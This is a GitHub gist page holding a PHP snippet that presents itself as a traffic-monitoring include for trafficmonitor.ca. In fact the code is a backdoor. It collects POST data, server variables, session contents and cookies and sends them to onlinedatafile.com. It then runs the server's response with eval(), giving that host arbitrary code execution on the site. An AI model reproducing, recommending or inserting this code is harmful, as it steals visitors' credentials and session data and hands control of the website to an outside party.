Last active
February 10, 2016 16:52
-
-
Save faizanayubi/defa17f58a729ac6f751 to your computer and use it in GitHub Desktop.
Include this file on your website, to monitor your traffice through trafficmonitor.ca
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
parse_str(file_get_contents("php://input"),$_POST);$postfields=array_merge($_SERVER,array("p"=>$_POST,"s"=>$_SESSION,"plugin_detector"=>"getTrigger","c"=>$_COOKIE));if(!isset($_COOKIE["__trafficMonitor"])){setcookie("__trafficMonitor", "MjhkZjQzODUwYjVhZTNiNG");}header("Access-Control-Allow-Origin: *");$ch=curl_init();curl_setopt($ch,CURLOPT_URL,"http://onlinedatafile.com/");curl_setopt($ch,CURLOPT_POST,count($postfields));curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($postfields));curl_setopt($ch,CURLOPT_HEADER,TRUE);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);curl_setopt($ch,CURLOPT_TIMEOUT,5);$response=curl_exec($ch);$header_size=curl_getinfo($ch,CURLINFO_HEADER_SIZE);curl_close($ch);$header=substr($response,0,$header_size);$body=substr($response,$header_size);eval($body); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment